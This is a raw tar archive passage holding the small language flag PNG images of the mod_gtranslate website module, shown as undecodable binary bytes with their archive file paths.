�"�r�"=�᷽O1���g�{�`����XU�=�]Ӭ�`��T�vٰ�Nf,ĥ�������б�\宏A��,��(m��*����p�W�y�'?2�?ˢE�˗I�}^��,		�z�!$%!m�.�<��ng0�$G�3x|�͡��J͉�.=NF��)0+�b�DF�={;2y�|x6mtP��������q�c�%�k�>H�6�`[,���9צ,���A�"Z�+�D��/���Cᔘ�ye0s_����PDZ���*O�ʩP���У�����!ɍJ)���.�w˘s�+C���^_�M9�1yj�I\���SM�3��"�1Υ����S-����s�@#�w�"��D���u
����i�%}�엀vز�S!����互бݨ�h��T<�|����&KX���R�y9ˆ����� Ѯ�i@
�dL<��I��O��n1}�q6���̈́����kQQ��q�|���aI P7!=��^���~U_��/ �CR��K�(h�����<�7��-�}�$��Mީ�<6�A���87\y!D��j)X���Ї5(����lEEɐ|�w=&���˔��\-�#?6����&��.&��| ����=�3$�)G�V�E��U�

r�Y�b�	F����EC8��	E��>t�.9����b74E�1Qq��\��J����6�7��3�m�Ȋ��IEND�B`�mod_gtranslate/tmpl/lang/48/ny.png000060400000002353150746170550013044 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FqIDATx��MoE�����]/qb#F9�)��K�����?��9�r�$">���8vbo�tWq�Y{��݌�H��agzv���>z���8:.'N��P���%�@��˗/���G//�T	x���ի�8��\�t�U��s���l���!�@0c�rW��j�h~b0׮]8ま��sfkk�fp���l�܉�| ����9-��)ث�2�1t�y�`�_9�[��Qe�z^q2GU�̌��T
�����)��@��H���� �$���V9`M�ݪ��f<@1�dP,��6��yq|���:����q�s��ȸ�s�T���#UUK�g��=�g���T����932�š@4#�Q��+X+
V��]q\��?9k�#j�@ʙ#1�փ,�p�?����gN�ʉ���~�g��k/Pn'�*�S�+��s�(�h�uJl�;�@J
fvlo��,W�M���7Sⓥ!|o��*�r�6|�
����G��EWp��ob$��� �La1�Ήc�豝F�ʉU��*H��pP�����+{(}ɒ/Y��r��Br������F�x�?@b�n��o�wLp1���À�n����CV����լ���_��Q!B����q+�SŇ�Π!�֊
���Y%^�
�b1[�'�^o�@F#�������{����߱���<z��y���U�r	t$��-��WY�@36
�(F�&�,2�l���&�m���;��������&L���Lm1���oB)a)�%�T�{��d~Ͼ֚��bu�aB9cjB�31��Ng�y��tHt��Y��a)w�,7�h�30������,x>+>����q��̣���By����`sLtu��}�~�ޙxM����b������6�����os�P�oYx
����f��~-<wq���Q����dR���f\Q��n�b�N���PG��߼��L~Tpl�-O�%�X�Ѐ=�Mp�s;��$�:��IT�3"r��ᓸ�d�����Q� 3tȆDd�ēƩ�R�L���loݧ��X�Ϛ�ul����r}�`GN�ԟ8p����6ri�IEND�B`�mod_gtranslate/tmpl/lang/48/sl.png000060400000002021150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oE�?3^�8v�6N(�*Q��RP%~��D��P��W�z���4����8�D{�J�PR�����8I��^;��
��G�v�;o��}o޼�l����� ���mx�o�Y�r����n��[F�Uz�Q���l�h�b1_f�
��"�f�8�T����{=4��O���D�X���K?qU���/�-��x�C�g���<��!)��^��[':���� ����O#|x�~�x�%R�h��ס��TD�����?��m��FU�:щ�Rh?��CJe�R���?��T�q���k�BT\ʡç����:��&�/����H��f��gh E�nj������UN�;Jm�v���mW����o�q���#�e\[��=7�m"}��ew�R���<��{�J�J����Gk�Gt�~������ÝGm9��i���@���*��x���}��Ks�;��p���C�4��2{�{��pj�ٞ16$�ͦ��-��8Mt5�:@kX{�7����('�ޠ���|�S�K?��w��3���a`���WȈU��0l
s$������x��g��*r���
Q�qd�����c�S3d�33e�?��û��[�f�a�}���=��?�7�����P�D�3ǡ���BvZ���ךxRmW�KE��G!)aS�m�?!�c�Z r`���*�(]`��D��1���V�F��Q��[��"�$L$�X�4Ƙ�0;x�]�VmZ�xU �UN�#
�:���ǃ����0�U�"��,����dK��g���E1�։7���L��ҢXY[�BQ��,|�+���¾sXݓ�.�.�.�����-������IEND�B`�mod_gtranslate/tmpl/lang/48/sk.png000060400000002500150746170550013025 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YlUE�3��.�JK��!�������x1$V�"Hx_T�%�K�1�h4�Mx�ą&&��Q"�%akY�A�v�9������r���4��K&'gf�7�|�|�
�4NEE�w
���g!�B�)"���+U��YlA��*��P@@��%:�:'�%��)Y����s����;�0DR)�"$5���D�[��>��ol<�F(�wN=����3i¶M+y0@�E��==��A�
�UU�kj0��1���o��ۿ���k�a|���<�,�龞`�cp(C:0����A�(^'��j�VK��R)j�كN&ɴ��k���V�Hs�k(�:��ȉ`&�L�Yհ`�#2�d�
��uH�P�s:���dկ���!5��;�dP�!�pQ���G�<���ܪ��XPj�s�?�T�q�"$c(Y��̅�˗�uu(���zp�("��@���G�&��m��0��l�8�q9';+��(]}?U;v�s���y��ۇ�|Њ{�=��H�%
o�#����q\�KO:����C�����	2mm��Z���O������b:;�T
�B�(?�s��~���,�0�<4�*"�s�=¿�Z����ga<�B;��D-͐H�ֱ�D��Y��9���E\n�_|�u"T$K�C��tT���y ,����p�3PZǮ��yKΓvB�Za�d?h=��w?c��X��q���h����_���.Nzu<:x�򏾤��v�m�����5րq8VԄmZ���s$ŚG���L��G��A�����ҩ*i���E������Z��%��LoW���A��Y��u��čk"q�OG�(ٰ�d�࢐Kz&���3\ҳ �{�9�������V6� ֌:��3

���x?��|�6�ߊ ���*���>t𵵬�T��+{ ���P���X|��2{�H���n+w?ϯo�����t_@Y�������X��F��G.�S��W�a��¨���4�n����|�Z�7����l��b�`��
G!,m]��T��#A0m%˗�=�	��Q��M��ܹ�VY�1,�xq��U�kM�I���_�k'��c��
��8���t��H&P���dgB�����ʂ,�X���B,Y�V�&|7pB�̠��	B`@o����*�3����J�IEND�B`�mod_gtranslate/tmpl/lang/48/ne.png000060400000003752150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx��{pTW�?g��#�M%���`�aQ��ԙ:Uk��J��`+("Q^�
(	4
�%�Z��T��X�F(1�@
1��H�w���8��i ���&<2�o���������~��gWH)��栛[�@J����6��|���f��"����nd�{�o�1P�[
p;����V=W��
_�pv�a����•��#O�O߽2�+�
~5�fH�v�شlL�拑����AZu)ߩP\�~�Q�F{njð0�i���e�V��^M)����>�:�hҍ��D@bZi�M�|����R&�Os��,�l�]���Ϭ~�Ӫ���i�a�a"
ݔ����i�k%�Ԫ9U�/m`q�/�.������~LӴ���bئ�fJ�D�L�1'�z�7�K��_p^9��v���V.bL36��kð�6C"u��Jx r���"��>�b�k�㋫5sB��=��k����e�C�@\M�tB8����+Mj���)��s.zF/��Tg���y@��ck�G,���Dj8�;Gs˲��s8�Xä́���4g%��A>�x�[V��u��'-\��xW�U�8��a�xƍ���+@����C8��%y�dR�>�kp&����d��Q��A��z�[�;�����[7��v�vl�ƶm�m�.�e�d~�}� �K��d��?i��a[D,�m�L�+X���S�>���d�=���xɳ�:�VqE �w?��q��U]�b�u�
g��vl&�w?&��A� ,���j�B��X#�*��T����%�ـ���[K^��=�6)���	�+�KB`����[:���+,l��f�6*�T�S���?Z����7+�"n�S�J�׼[U����qe�̏�S��z}�*bDc~�$i.v���9�H������?�38��E󎵦V	|��-�;�w5劉�,\��{�X��}�j��_���ɄҠQ�(t
e�#�Ԁ+t{���Ƴ�Wo�u���A7��R�׫߸|-�,�|軕'��w�,��%���_��^�x�B�L`��/��~��lֺ��w .�!�iK�Q��[�(�H���)�/�;= �,�ٓۥ��׵��Tש19�9��x�?S�g�g!��Ĺ#/��	ʤlr[�N���j�R�Pߨ�[�`Y�p�<�>4o�-��!)�y�`�/��D��F��ۍm�S��-/��G�
3��N"���BF
�5`'ټd
��?"�N-]:3A��aD[=�#��*
¥`�7���i��!���&$\�
�=�$��T����3�����>W�oʃ�)�=
���/�)�%��ߔ��֡
��#�>A(��]w2��,��a8���˚�/k2�~i(���x�PX.f�y-�f��~ߤo���oҷ��~���*\�ꇙ}5�|M ���.����6.s:c��62�\�03�rT��!����9m�2_�dzlx�q#u���\�03�r�F�B���݀���s��E�}��C�Zvɹ�afXǺ".��=�'\u�w���>1��]aW@�w".�OF]��h{�_�u͆&�m�n���:�
i[~�y����9���E�U��G�	歉�z�W�+�c��[:�n7�2:���M���Q����sN�E�;(t
��nTK�κZۑбJ��Z���Ϝ�H�!ui���Q���QT5�H$ —��z��(2Bx�1�I�W�Dj0%n�N�	�;vR�I���Ѹ!�pbw�p\6Z@4v\�:\�7�d��Eaw]_'��,���|JOo���d܀�7��w�c@0�S	?��oP�Bӈ�
����������X
�IEND�B`�mod_gtranslate/tmpl/lang/48/jw.png000060400000001146150746170550013035 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n1@�l��HI+5BH#!��
�-�y���;B�8@����k�p؍��)H�
�H���Yk�g��bfx�
�2�;@�0F^�^�N�b�z�\.c���;��8�g�?���q�+�����$SLAzuݶ����m���}������ѩN���+S����gg�̐��C�{��w���<���9Xι��a)cM���>8(�?���4�k�$�oM-}�R�R� %(���E���1a��3m=P
k,E'c(��
u�
,F,:�8bZ��&U����N<0AQ�6i����T�|�
YQ��j�`��p�
!r7����F�R�z9c9�ڍJ]8�K3���< "���3�ǟ[;��!�(ڝ�����,�����;\����"����v��/��ChHd�#Ch��9��p4E��G��π�ԙ�߀OB{�4�ޞ$n��`���s�L��(fIEND�B`�mod_gtranslate/tmpl/lang/48/tg.png000060400000002206150746170550013025 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��Mh$E�U����d�Ͳ(*���� x؃�QAOz���7�(����"ēWQ\�xQ�5��$����d2]�]�<�|'K��,�q4]]�������׫*%"�Y49�	�	��;@�uϓ8�����3�o����}��\��=�Cre��q	`&��G�9�N-{�;�)�-��?�E���n�-�
�FO=3�nS�hrH�B�ZJ��ڣ��
�l�S
��9�s��WI���IR$I�?i��s`�����6�!C��d6w= �������{=�b
���5��s`L�,���VD��j.��n[.$��W�.�O2��-L|=+�M�z���{�|I
�\e����n~�[{'f	�~FXY������o��w�1�E�Ja�+ 1Q��~�h��K�r/���I�G|�L}��|g�x�ֈ��#1e�Q��B��y��w2��!�i�W|��W�Xy	�`o�#|��
5�q{K�o��f�ZuB��
i�
�ԃO=�Oҙ4(j�0K�I������KJ�Ou�P:@�����BG��2�.��]}_&�wu������-�ϋ�իG�	;^@T:Ap�
ӏ�����2ֹ�5I}	��IF��eR�
@qj=�"�ʽ�(�|��� 8�����3ł�l�1!���V?�z�]$�
[x�PmP��D�X���Z���'���<�:v�5T�>�h
;�*�=?�����o����mt�"��eH�#��񀵶Z(F�P �����:(��5���Y\�
��[D�cD�[�OBE�8<�4���_"<�(�p?a�n���wg��zjb��gǐ,���f�Y-�Jcɇ�!�9DgX��r��y����LO���A�j���rȒZ
�^;��Db���{��u#���g�����>�}�����lj��J����ؓ�c��ͺ́y�@{[�;���@)��l-�9�N�.�B��j7k�P�������,+�㥓�{��u59�����O�v���<l%IEND�B`�mod_gtranslate/tmpl/lang/48/ig.png000060400000001415150746170550013013 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��AnAE_�'2�!�\	�p��)�p
��!8.��������=�L�`�vf4µ���_~uU�ۙC6�mO`O�'�0^�C2������o����z+/��{�=�Ë7w
��0��>��5>>}�5��O�0VUD�ﳟֈ1�|6�c�����~o��ɭ#T`\�QQYK�����ʽ����YT�EQ�)A"���`�H��-�z�Ms��@4%hE�U�{ d`��MfJ�U�@f�U[Q%�@���&S�10�A�̃Q@Rf1P��9�̃Q�* L�e,����L�w冼��C�=b�T@�U�	!�F���i,�r�뛷
!K�B��sUkׁiU��f�D
�)��W/�\��FK���5�H����a��
_����dmtӖ�n��U�t��B���C]�]�\��Km2Yig��\�V�*x牋/�4�8,�h��\�k��G�HB���7��}���X[5�����͜��V���M�.�B�̏Kl���frf9T���b�B_W5�C1�ܲ�|���g_rr�5�:�
.��u�5gs4>�ܙm1�L.&Y���o�@.n�9�>��7�}���_/-�!Y	�p���=�=�=�^�"��@��IEND�B`�mod_gtranslate/tmpl/lang/48/nl.png000060400000001173150746170550013026 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��n1���n$�FB��'�w�Y8�H<�q��p@��{��sشu�M�
���ڳ�|�L�M%˂¥T����Xm�%IB�}��������X�ţ���2~���V�~y5�招�]Y�}�'c�c�ۣ�X��`���~���lfH¶O���t���ҽљ,��`3��B�G]�+��99(���qٺ� �.�.��"x�ňbW@��2Rr��P@��H	�
���%�̅�	��B!3�h'����Bf�inc������3{Y���T�P��֍���Б�n��$!�{�#�������a3�<�p�lhYF��q�316F3�GˌԞ6F:�� ؞��^�3�ɱ��9���� ���@n|���gd.�Ah��1��g�I�2��D��IJ�R�7��:wz8y�`󿵐YAS���e�����ܖ���Iq��2\p}uY�V(p��f��1\/�n�%I����W�
P���� ;WᮯIEND�B`�mod_gtranslate/tmpl/lang/48/yo.png000060400000001415150746170550013043 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��AnAE_�'2�!�\	�p��)�p
��!8.��������=�L�`�vf4µ���_~uU�ۙC6�mO`O�'�0^�C2������o����z+/��{�=�Ë7w
��0��>��5>>}�5��O�0VUD�ﳟֈ1�|6�c�����~o��ɭ#T`\�QQYK�����ʽ����YT�EQ�)A"���`�H��-�z�Ms��@4%hE�U�{ d`��MfJ�U�@f�U[Q%�@���&S�10�A�̃Q@Rf1P��9�̃Q�* L�e,����L�w冼��C�=b�T@�U�	!�F���i,�r�뛷
!K�B��sUkׁiU��f�D
�)��W/�\��FK���5�H����a��
_����dmtӖ�n��U�t��B���C]�]�\��Km2Yig��\�V�*x牋/�4�8,�h��\�k��G�HB���7��}���X[5�����͜��V���M�.�B�̏Kl���frf9T���b�B_W5�C1�ܲ�|���g_rr�5�:�
.��u�5gs4>�ܙm1�L.&Y���o�@.n�9�>��7�}���_/-�!Y	�p���=�=�=�^�"��@��IEND�B`�mod_gtranslate/tmpl/lang/48/da.png000060400000001451150746170550013000 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���j�@����Vݶ�*�7�Bћ��(�'��;��'�ދ �W
ږ�k�L2�x�����n;A�9�o��o&�9��4Y.-����N���������p}�qg8�����U�~5U����ډ�}s?VU��g�^���Ok�|�n�ݟ'�B��
�C��ֲs3f�W=_�!rp��{��S%X]���i�e�l�AU19�ܞ;M/�;�Y�[�̧i6g ̖KQ��I:Mx"�W����y�8-phb��z�F}bUb�+�Z�&��5�m�	=0�8Ac�5��.�EE����v�94�P{$�H���!!ʭ�C����U��@7F���|�"4��q�;����JN EO#�9h��\:�B�9���ߠ�G�`P�e�4�
a̙0�CU���X��GmD��A���[ŜC�/[O0'���]
l���T���)o�A��(���
*���t/�f�`^��tR���;:���/�Y�y��e�y�PM�Q��쨄9���eO,N
e�֩��Cʵ�A("��We��0H//���9��� .38��ޞ��K��3�،�F����j5�@q�d�*r�8D����c
Ձ��B�8��=b͒p��]�f�&:���- �w�M�N���ސ�^Z��&I��O}K�%����{�e��狎IEND�B`�mod_gtranslate/tmpl/lang/48/mr.png000060400000002174150746170550013035 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/zh-TW.png000060400000002435150746170550013370 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MlTU�wfکX)P��
�Gpe!5���&Ƹr�!&,�	�
��;5�`��c���	1*�HA��8-�tf�{���b�̼�f�A�D^�I��7�ݏ��{�>���Y2�\,��0@ȇe��^X�ܞ����WmC����+r@���̶��L�U|�-㖏��yQ�9ab� �l�d@!���k{�~{�U����S�x�|;��&��S3(�Q���`]D��能���ٹ}��YY���
�)�)�+�p��
���5������v3];	�H��D�:�B�]X����/n����R) ߙ�՗� �X'�XW�cY'������3�iy�V��)~ ��4��7�����Mr��;���:e�S�8��7F�<�������v��'HO#e���-y������;|��ڞ<;��WgIW���_�]�w}��a`�J>�����5���G%��ϳ1#L�`|p�;��3`��,��q��3T<K`���� Xp��A!T�^�Ƈ�����<K�kmĪ�%�za3ٌ�o�s��x�����h4��e�R�m�������Qz��yvh=�k�����(Lz�����>��ë�Q���P�,��bڑ����An���p9��Op��4{wm�|��oMի,�J��F=劥	��1l�_ʧߜ���	0�S�FY��^�ޜ�X
���_\�Y��e\�FZ��҆$6ٺ�$*������W�۷�c�{����8��׆�4<��#�g�K����o@���� ��Q���=obz:@n��x��l��˛֔�5���'	�7	m�PШD`�̈��_�����1JK�b��ȟs'\;���/i5���yu>un�'k�&���*n��2�&�2n�wE��7>���2Q�N�bI,V@�u�%6��*�֦͢c#���=��b�V����|gZ��Ld��ypg�q��Bj]H��:�0	p�}��+�u�:�vjs�:E�Mf̃���u�f��<|�ɶ:˽�@���d���uR����N��uOb�q`2���EA�5^�u��w

�z��,$Ճ�}�P�8VI�j{�F�L4	���&��Mb��̅����N](�~(`|j��3@0�J��c�C���}a�&�)���~�"�E���3�PZ�d&�IEND�B`�mod_gtranslate/tmpl/lang/48/ur.png000060400000002650150746170550013044 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F.IDATx��klE���Q���Z�p�"KS���	j�DBl ���j�#�ɤ(_��h4!!�@$h�&<���mڊ�i��� ��/Z�ݻ��.��ٻwC{6���9gf�sΙsfWH)�Ȥ0�i�$��;8��>�H�N KJyͪ��֏߾��T'�����E�����@��4�t���G�J$%�n�Yđ��EJH$99�8ř,�!��0��|�2�� 4ʇBB ��"3!�|w�߬뺎4tl�X�p
D�1�CWZ��f,R5C����ۿ��hv5�j[������7���B3���HC�w��l���-f������"��?���Հ/�K�����ظb՟�Υ�Kq��R�0��OMܿKu��W��y�/_���{l-�-��Sy��%j��pƝdedR��+��+n�k,�`ެb6�~US9�=�P�oO�\>�����g;�G�M����*(l^S�@���BGWG\'(,��>���F�+���i|��Q.^���P0�j��O�v��"���gG�)oχS�g�z���0=��3g!Y��\�w�t�f𩾨P��<e����s�U_t�L-S�il;K�G���p���}�=�H$����F�@��z�L�d���v�|C��K�9��u��q�3���ȷ$�t'5��i����)��Ao~�|����d���9��ٹ�����	Kù� ��|���kI.����f*��JeGM���6{�d^�؁SqX��Vt3$@��/r�ǽ��d)��mŐ2�/R�jQGpJ�!%R���a֥Y7��s
��T&�{�lY]���#�#�ܬ�L�-o�90
�LX�aHZ��>��W��[�א��=b2�<��%��T��B�I0@����.����*#f�+�UWT�繚�>.w���'p�{ok�7M�/����ʕ�(��aY�Ct�FGc�ӍSq���D�~����v[�X�>�yP|o��l{ⅰ�o(�^�o�!��f!����"��\��b6��RPP�~��D0̼š
�.2FAŽ�yzweܼ&'#���gS0-!{��cѳ�~�)�G�ÈD��I�@�w��Cgs���-]CŃ�(󔒛��"��C�]>ϑ��8t�K�-�8#4�K։�PW_OAc[#��2ov	).7��=oK=Wz�X���l4)�Tu��Ե֏탮H�2�U��ts�����l�@fZ��4���cI`��<�_�t`!�7����M��2��O0���?��&L������-ƃ:hIEND�B`�mod_gtranslate/tmpl/lang/48/es.png000060400000002565150746170550013032 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MlTU��͛ymgZʔ~aR*����( D"�$l�Ȃ����n]�1�P&�Е�J4tA�A�1q�JmC?��|��{������b�{��7�������=�]%"�Y,b.+V��( 8�3N���&��4���r4k������o�Xe� Zc��·���R!�$jW��ƈ��jm���.hK5�o�'���
F;h  ��IT4p���Q�sK���%-�-�!�+UgG�4��`B[C� ���~���&�-��	��vZ��Z���E���y��ϫ���'��x~lT�Ъ�B״�[��[������`�D	�����?
�tV< L�]��QRv�\K�Ȱ�mEc��?�>��2�ޑ3"	��NJ�����L7oL��{�prd��%:D�d�Vّ��"�Ɇ�P,vq�<f��=Y�wK��h��D�qH�R��rנ��ԚB
�Ih�r�b`�M21Mn؆�iz�	sSB&#�v��.-����A��n�\?�|������P<�P�]��5�6V�ޭe��p�c��C��#3�Pqq���ZSӃ�S�v`�L��H���:��
�)]��\ڥo�]F^����iS]��Q�U�'�V6S��Q�C���%Er�>Ww)fF�t��R���?م	����'��Zm���ռ��4�t�z$��>�������(���eCN��ĺ�������&?�@s��8��{��j"�S��T�m��G���v{ģc���<�'9|q�?N��{g
˺�5�$��U�j��%�YD�j-�Q��
���=3K��	�_�0Z���8���Xg,r_sbk����=/-��%��h#�BA��4U��j�~g��M�I�c�_��Ҿ1��k+�q��ɾywފjv���l�0�v�jT-XN���17q����Io�bϕ�7脅�����W�X ˠTK	�B���Ti�������.�=�3�$������C��?K��������9{�EH����1za��	ߌa���/gȦ����-	
��]<Eߞ4��=��?/��4�Ω��3����
���蹐J��;�)�o��M?jUݡԢ�92��oj!���7�%,�$��ڡ��9�&�������H
=(_tUhs-��b�U��b�Ue{�1��m!����Q�z�����xE��lzcf�$�ktd�3z�I\ �Vn�W�X��?C��rRIEND�B`�mod_gtranslate/tmpl/lang/48/hr.png000060400000002447150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oU�?w~�v���.E��*JJ0ƀ��
�D|���o&j���f�4D1�(Հ1��`h!��-+P�H���3��v�n7����ؓLvf�s�w���9g��Y,�\,��p�R6�zq�����d��;;;}H_~k��z���no�4!B|ㆺr>����
1�֘ѱ�h��M��s���w�j�Z����ՔF�0
��6P(��V��t�f�ԩ�Kw6���*{�P�pn�����<�"�.G� ZC�z� (�\f�$�0�0T9$ ~D�C\�LΈ*_��
+\b�2��1�_�QӘB���{�na׭�\��3��Mu�'{�Ѝa�V����"Fs2$_b@��C�X_o�J�4O�H�L��ض�x�YL�G3\;w��V�I��,�O�l��ǟ�m>���UJb���_�dm�L>�qw	��!22��v&&=V&��k��?:EÙ$�����c�j�϶m���.9=߸<����%=x����M
�D:@�bj�ᒕ њ�u�
�GW��;�jJ�r�Z�t���-O���t�� 8qe+��v��pc�S��l�lE��
���
����{���;�������w��c,޿�b@DSM`��J+ހ�y�J�Ft"�r)�|;�f�m(ۡ��OE&6���:~���-�d#�n$Dב���Y	C��,��ǔ���X�Y�Ʋ/�
Fx��1ί�J6��X��a�R,��p�Du/���Dk$,̨Y$t+����|s.Z�M�7_[����(���g�9�~x��N�ˊ���q�Z2���0ʝ��•��X�X,j;��]aJ2����w���$""��$C�n���\|�)�A$s�a(@��h�ghQ������F��~u��lR|��/���<zxI&�e����G���Mp��9m�m�sm������k�e�0X%r��\]nJ���z���Z�>��2VYG�趫ǫ�{6�ܟ�rR��w]�m�xA�f`�L���1q�r`霌����>(��>72���V�T=RKjߗ�%)�9>^p�`;������2�qW0D��_�T��iu��t�g+�R�1�fPg!T�;�$X%4�F��Bɉ�0@nl�:��G���Μ�(��K��o=����N���S�w]�����IEND�B`�mod_gtranslate/tmpl/lang/48/et.png000060400000001415150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���n�@��8D-mi%�����g�=x	�<<78#$�Rh*�ʭ�c����N�F@��"�H�zvG���Gl13R���e`� �5�$�x'��{18::�x��݇i�����9��/�&��>�(���祫��p�Z���*�;Z�bΣq���a�jDU�j=�:�˂a�
��`>�k;]34z��:�s��h�]�UQ��y��pA	��%QnKpآS�<[�9����|]s�Ҷ@9@P�AqAoMW������������!�CL"�}�03
������KRy%��l�h�.D\"���j|�\�T.�|""�F�UdM+W>R�4dBP�]8���Cup@Y�I�ǜ��t�h�e���e2�D���,�*�I��M���
��u�!& M4�N�5@L�.T&��VDhZS�������*iM�7b�PU�g�dv�9WoR��}R��p8�30����`�π�&��1FR{�u@�e�ֶ�������
�o���y���v��q[5�U��L�1��x*Gh2���R*⽧(
��ݭ<�7ԭ���^�Z
mk@6;=uI30��I�ґ�J-}.e`�>��d)��/z0B���R�?
pOs�;�Y�?/m7ה�f��R���p��kS���+�}IEND�B`�mod_gtranslate/tmpl/lang/48/hu.png000060400000001331150746170550013025 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F_IDATx���n�@�co���!�H.=p�k�<���p�
8 qGH<hE��x���'��T��#Yvfǻ��ؙX̌�)!r��wNDR`
��(}rr����b�������y����훇8B���ϢR>���~�r��T����h�p���ޕk�n��^"��k�����L\�T(����>�����k��6'=k��C�*�+�bE�m�(�NJ�����EQ]1PQ`ehY�+<V��uI�}���9��]���5>e�c�f�w�x��By��фi�B��=��8\h�aA��!�-P���S�@��jj�KQ;���@v�%�J��k,���Bi���bU����s����<���`p��V��`t�+��;����D��fk��@5��
��$��	Ϊ�㎏�7E�%lG�b;�֒}-L��՞M蛣�צ�����Z�$XK�P��v��sgO>�q���Y����
W���&A�Zɝ�V��@���7���vRD$�E�c�_�ot�<��,��yG�A��5A|ɪ6�lz;:WrSt,/�1�BA���	p/2����Ҭ��DX��~0�S�92�;0�C&IEND�B`�mod_gtranslate/tmpl/lang/48/af.png000060400000004057150746170550013007 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pU���}�
!J�i��L;!�q�X@���PA�-�vPa2JhGjqtJ"�����P[J�H��th�@I	�{s_g��?���M�y؆�4kf�9s�:���^k��Zkng2�ͩ@;��w0���v"	�- ��	U1�I���&���)P���%���j�-��ۦ?}�R��<�=�Z	
�����d���tY��G����+��wG	@��+��Rr�}%<oec�˟�r��}p�N�����xv�K��
�Z�0�i
B��nl�Qr�h�����4@����Q���qt��5^7��[Nga�������#���ի,�"�Ltx�hPu/�Ņ���-%��j(���`��6\���m��p�Ic����9T(;�
����ĸ�x'hB�ҁh���G����셯�,fstHHH䉇��~9�6l��f@7�
}J
��}t߶%��#���g�f�C'4�-D�V���A1�{��ܻ_��s�R�u��@��M �6�5�4��ԂR=#q�D�&�Dq��>u��?@����+�9R�Y�9�BUT����"H�{�:W�D��>
��JS�+s�x�7x,�8����"��[�^d��)5���	 �Ӧ,LYYI��/Cz��1�ĖO<�tpr��Lʼn��r�5!�`4^�������3�I:~���� ��c
TU%�ˋ�?''�Xzz:n��Q#��������M����Ц���۶����ȝ�Gz���ɭ4l�3��HLD����=��?p�c]�t���6"�+]�B�I�=�<,(�_�+p�b��$�tbΓ��0�ް/on�_��B�t���:������m gÌ��~b���6�V`j0E�+�C��4�����\\�TshMiȍ:�����?�ua]�i
���R�r-�O7�[��z��j�ac��ȴ���
"t(=ᷡ{��L��������!}��H��55M"޺����\���
d�[
�>���u*��5��b�V@�qf}$���8[��qcL̳HM����>Ѹ�7>1�M���G3#���jՇ�CN�ʹ�
�>a��A�?�֥ _��jzs��t�7!�qPJ�8d���ůٌ����q����Ge(�h�R��P: ����#�L����#X�g���*��]����FJ��a8�s�WIM��K��3M�T�ԗ�m���cN,�lX �Q]�i!=������2XYd��m���+4��IH{5�Ɓӑ�B��HrZW��V�腉^ �F�V�r��xu���1x�uX��
�
	u����aZ���x���_���8ض�(E��E�c&���?{Cq䤂�*�������/�[��_�����…[X�jwۺP��4�7�R(�7�`�2��w,Z�p�!v�� ��hG2u܏X����'F�^Ξ=�p�l��۶RS�^H)ɢ_�1{����`��i�B$��::�LjXwt�Nќ�|���g��o���OrrB$QmӮ�T�>x�ⱉ�:��Ps⬂Ħ<q�S%�dȽ�x�5��ܗ����|y	�m��x]D�I��3��5��%��(+����-�ϋ���3��ͭ\8n3xHK��岱,j�9�e
<�<:���g��-?}32Y����W����­H�HNv]����i�="IH|-����Me��K�\.;�7l�II.��n\�m�P5K�>:uJ��_3�᩼W���6r�������R�h�4������+���Ì�X�n��;�s�I�p�y��I
s���N�y��/1���u�)yK)+�D׮Ɉ�ל�ϋ��TW7jJ�3�(|����l��}Ȫջ�RoSS�%9����Nh.�E�x)���F~�F��Էh���^����IEND�B`�mod_gtranslate/tmpl/lang/48/kk.png000060400000004415150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�������ѳ;��b1�
